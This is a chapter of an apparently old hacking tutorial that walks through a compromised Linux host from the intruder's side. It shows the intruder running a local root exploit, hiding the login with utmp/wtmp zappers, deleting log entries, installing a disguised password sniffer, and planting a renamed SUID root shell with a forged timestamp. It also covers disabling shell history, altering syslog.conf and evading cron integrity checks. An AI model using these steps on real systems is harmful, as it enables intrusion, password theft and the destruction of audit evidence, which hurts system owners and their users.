Chapter VI - Cleaning the log files

Section 6A - A walk around a hacked system

I can't stress the importance of this enough! Clean, Clean!!!! In this section

I will take you on the system first hand and show you some basics on what to

look for, and on how to wipe your presence from the system. To start this lets

logon a system:

Here is the step by step through the basic process:

******----> see who is on the machine

[/home/master]finger @victim.net

[victim.net]

No one logged on.

******----> good no one on, we will log on

[/home/master]telnet victim.net

Trying xxx.206.xx.140...

Connected to victim.net.

Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1

Kernel 1.2.13 on a i586

 

ns.victim.net login: jnsmith

Password:

Linux 1.2.13.

You have new mail.

******----> Don't read his mail, you can cat all mail in /var/spool/mail

and in each users /home/username/mail directory

******----> Check again to see if anyone is on

[jnsmith@ns jnsmith]$ w

5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00

User tty login@ idle JCPU PCPU what

jnsmith ttyp1 5:35am w

******----> Just me, lets get root and get lost in the utmp!

[jnsmith@ns jnsmith]$ cd .term

******----> Nice directory to hide stuff ;)

[jnsmith@ns .term]$ ./.u

******----> I had this already waiting, it was the umounc.c exploit

Discovered and Coded by Bloodmask and Vio, Covin 1996

******----> We are now root, lets use z2 to become invisible

bash# z2 jnsmith

Zap2!

******----> Let's see if we are still on ...

bash# w

5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01

User tty login@ idle JCPU PCPU what

******----> Hmm. now there is no one on the system, i must have logged off ;)

 

******----> We know we are root, but lets check you you can see ...

bash# whoami

root

bash#

******----> Yup, root .. What directory are we in?

bash# pwd

/home/jnsmith/.term

******----> Let's check the logs

bash# cd /var/log

******----> most of the time in /var/adm, this box uses /var/log

bash# grep dormroom *

maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com

maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

******----> Yup, the z2 took care of everything but this maillog ...

bash# pico maillog

******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to

delete lines

 

******----> These were the lines deleted

Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com

Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

bash# grep dormroom *

******----> Yup .. all clear ;)

bash# w

5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00

User tty login@ idle JCPU PCPU what

******----> Yup .. all clear here too ;)

******----> Lets show you how you would use lled and wted if the grep would

have shown something in those files

bash# cd ~jnsmith/.term

bash# lled

bash# lled -c dormroom.playhouse

Entries stored: 527 Entries removed: 0

Now chmod lastlog.tmp and copy over the original /var/log/lastlog

******----> Nothing in the lastlog

bash#

bash# wted -e jnsmith

Entries stored: 254 Entries removed: 0

Now chmod wtmp.tmp and copy over the original /var/log/wtmp

******----> Nothing in the wtmp, both of these would have shown in the grep

we just did in the /var/log (just showing you the commands)

******----> Lets do some sniffing ...

bash# pico linsniffer.c

******----> I changed this line to tell where i want the log to go:

#define TCPLOG "/tmp/.pinetemp.000"

******----> lets look at what is running to think of a name that

looks almost like it belongs there

bash# ps -aux

root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd)

root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd)

root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D

root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty)

root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty)

root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty)

root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty)

root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty)

root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update)

root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush)

root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd

root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd

root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd

root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named

root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty)

root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd

******----> lets compile it and name it nmb

bash# gcc linsniffer.c -o nmb

******----> lets load it ...

bash# nmb&

[1] 22171

******----> lets check the log file in /tmp

bash#

bash# cd /tmp

bash# ls -al .pin*

total 15691

-rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000

******----> There it is, but we don't want our login to know about it!

bash# chgrp root .pin*

******----> Lets look now ....

bash# ls -al .pin*

-rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000

bash#

******----> This is good, Lets make an SUID shell so we don't have to

do this again. (check for MD5 or other programs in the cron)

bash# cd /bin

bash# ls -l sh

lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash

******----> This is a sym link ...

bash# ls -l bash

-rwxr-xr-x 1 root root 299296 Nov 2 1995 bash

******----> here is the real file ... lets see what to name it that

looks like it belongs

bash# ls

arch df ksh ping tar

ash dmesg ln ps tcsh

bash dnsdomainname login pwd true

cat domainname ls red ttysnoops

chgrp echo mail rm umount

chmod ed mkdir rmdir uname

chown false mknod sed vi

cp findterm more setserial view

cpio gunzip mount sh vim

csh gzip mt stty zcat

date hostname mv su zsh

dd kill netstat sync

******----> How about a new command in linux, most admin's won't know

the difference ;) We will call it findhost

bash# cp bash findhost

******----> ok, now lets have a look at our new unix command ...

bash# ls -l findhost

-rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost

******----> We need to change the group owner, touch the file date,

and make it SUID

bash# chgrp root findhost

bash# ls -l findhost

-rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost

bash# chmod +s findhost

bash# ls -l findhost

-rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost

bash# touch -t 111312331995 findhost

bash# ls -l findhost

-rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost

bash# ls -l m*

-rwxr-xr-x 1 root root 64400 Oct 31 1995 mail

-rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir

-rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod

-rwxr-xr-x 1 root root 20272 Nov 1 1995 more

-rwsr-xr-x 1 root root 26192 Nov 1 1995 mount

-rwxr-xr-x 1 root root 8381 Oct 31 1995 mt

-rwxr-xr-x 1 root root 12753 Nov 2 1995 mv

******----> Now it looks like it belongs ... lets see if

it gives us root, exit our current root shell..

bash# exit

[jnsmith@ns .term]$ cd /bin

[jnsmith@ns /bin]$ whoami

jnsmith

[jnsmith@ns /bin]$ findhost

[jnsmith@ns /bin]# whoami

root

[jnsmith@ns /bin]# cd

******----> cd {enter} takes us back to our home dir

[jnsmith@ns jnsmith]# ls

mail

[jnsmith@ns jnsmith]# echo + +>test

[jnsmith@ns jnsmith]# ls -l

total 2

drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail

-rw-rw-r-- 1 root root 4 Jan 29 06:11 test

******----> See now we are uid=0 gid=0

[jnsmith@ns jnsmith]# rm test

******----> clean as we go .....

[jnsmith@ns jnsmith]# w

6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00

User tty login@ idle JCPU PCPU what

******----> Just making sure we are still alone ....

[jnsmith@ns jnsmith]# ls -al /tmp/.p*

total 15692

-rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000

******----> were getting passwords already ;)

[jnsmith@ns jnsmith]# ls -al

total 32

drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 .

drwxr-xr-x 33 root users 1024 Jan 22 16:53 ..

-rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults

lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null

-rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout

-rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile

-rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc

-rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc

drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term

drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm

drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail

[jnsmith@ns jnsmith]#

******----> Make sure you place this sys link .bash_history to /dev/null so

you do not leave a history behind...

This is the command to do it, but make sure you delete the old .bash_history

if it is there.

ln -s /dev/null .bash_history

Ok logout ...

Ok, there is another way!!!!!!

If you can remember and make it a practice that you NEVER forget, get used to

this.... EVERY TIME you login to an account type: unset HISTFILE

This will tell the system to delete your history file when you logoff the

system... USE THIS! Get into the practice! DON'T FORGET!

Section 6B - messages and syslog

In the log directory you will find a file called 'messages' each system is

different as far as what is logged to what files or what file name. Make

sure to check in the /etc/syslog.conf file for additional logging to

remote machines. If this is being done you will see something like this:

*.* @somehostname.xxx

Or just to check and see where the log files are going you can view this file

/etc/syslog.conf.

Here is a sample...

bash# more syslog.conf

# /etc/syslog.conf

# For info about the format of this file, see "man syslog.conf" (the BSD man

# page), and /usr/doc/sysklogd/README.linux.

#

# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.

# I don't know why.

#

*.=info;*.=notice /var/adm/messages

*.=debug /var/adm/debug

*.warn /var/adm/syslog

*.warn /root/.../syslog

*.=crit;kern.none /var/adm/critical

kern.info;kern.!err /var/adm/kernel-info

mail.*;mail.!=info /root/.../mail

mail,news.=info /root/.../info

mail.*;mail.!=info /var/adm/mail

mail,news.=info /var/adm/info

*.alert root,bob

*.=info;*.=notice @quality.com

*.=debug @quality.com

*.warn @quality.com

*.=crit;kern.none @quality.com

kern.info;kern.!err @quality.com

mail.*;mail.!=info @quality.com

mail,news.=info @quality.com

Here some of the logs are going into a hidden directory in the /root directory

and a copy of every alert and warning are being also sent to the logs at

quality.com. wtmp, utmp and lastlog are still local, so you can still be

ok, just make sure not to use 'su' on a system like this. Also notice above

that alert messages are being mailed to root and bob on this system.

Also take note that syslog, mail, and, info are being sent to the /var/adm

directory to fool you into thinking all of the logs are in /var/adm! If you

edit /var/adm the admin can run a diff on the backup files in the /root dir.

Ok, so you go to the /var/adm or /var/log directory and:

grep yourhost * |more

grep your ip * |more

you see that some files are logging your connection, mark down what files

are logging you and edit the /etc/syslog.conf file. You will from trial

and error in most cases make it skip the logging process of your domain.

BUT, make sure to do a few things. After you edit the file restart the

syslogd. You can do this by doing a ps -x

$root> ps -x

39 ? S 1:29 /usr/sbin/syslogd

find the syslogd and notice the process id here is 39, so you do:

kill -HUP 39

This will restart the process and put your changes into effect.

The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you

edit it and touch the file date back to the original date and time after

you edit it. This way if they notice the logging looks different, they

will check the file date and think it must be something else. Most admins

would not know how to setup this file in the first place, so you in some

(or most) cases ok to edit it.

Here is another file to look at.

/etc/login.defs

# Enable "syslog" logging of su activity - in addition to sulog file logging

# SYSLOG_SG_ENAB does the same for newgrp and sg.

#

SYSLOG_SU_ENAB yes

SYSLOG_SG_ENAB yes

#

# If defined, all su activity is logged to this file

#

SULOG_FILE /home/users/bob/.list

Notice here that there is an su log file in a hidden file in one of

the admin's directories.

Section 6C - xferlog

The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..

you can then search for your transfers and delete the lines and save the file.

You will need to do this after transferring any files.

You will also want to grep the files in the /usr/local/etc/httpd/log directory

if you have used the web or phf on the system to remove your presence

from there.

grep (username or hostname) * |more

If you need to find the logs for httpd you can do a find -name httpd.conf

-print and view the config file you see where the httpd logs are going.

There might be different ftp logs for transfers in some ftp or virtual ftp

directory some where. View the files in the /etc/ftp* to find what the ftp

setup is on the box.

Here I have shown you to edit log files using pico, joe, or other editors.

There is another way... Sometimes log files might be real large and the editor just might

not cut it ;) Here is what to do...

You have a messages file 20 meg ... wow!

If you want to get the lines that have fudge.candy.com out of this file you

might want to do this:

grep -v fudge.candy >messages.2

rm messages

mv messages2 messages

then kill -HUP <process id for syslogd>

-v means grep everything that does not match the line, so you are greping

the file -what you do not want to a new file name messages.2. Check the

file size after the grep to make sure no errors were made and replace the

old one with the new one and restart syslogd.

This can also be used with other logs like xferlog, syslog, etc...

Here is a perl script that will do it for you from command line.

riptext.pl

Remember to restart syslogd after you edit files, true you will not see

the stuff, and it will be gone to your eyes, but if you do not restart the

process, the data is still in memory and can be retrieved until you restart

the process!

Also look for notes in the syslog that the syslogd process was restarted at

such and such a time.

Section 6D - The cron table

Make sure to look at admin's and root cron files, here in this system we find

a root cron file in: /var/spool/cron/crontabs

bash# ls -l

total 1

-rw------- 1 root root 851 Jan 26 14:14 root

bash$ more root

# This updates the database for 'locate' every day:

40 07 * * * updatedb 1> /dev/null 2> /dev/null

40 */12 * * * /sbin/checkfs

there is a file running here in /sbin called checkfs.

bash$ cd /sbin

bash$ /sbin # more checkfs

#!/bin/bash

if [ ! -f /etc/default/fs/.check ]; then

echo WARNING!! Filecheck default file cannot be found. Please regenerate.

exit

fi

md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null

md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null

md5sum /sbin/* >> /tmp/filecheck 2>/dev/null

md5sum /bin/* >> /tmp/filecheck 2>/dev/null

md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null

md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null

md5sum /lib/* >> /tmp/filecheck 2>/dev/null

md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null

diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1

if [ -s /tmp/filecheck2 ]; then

mail -s FSCheck bin < /tmp/filecheck2

fi

rm /tmp/filecheck /tmp/filecheck2 2>/dev/null

md5 is a checksum file, if you change or add a binary file to any of the

above directories the information of the changes will be mailed to the

admin.

WB01345_.gif (616 bytes)Next Page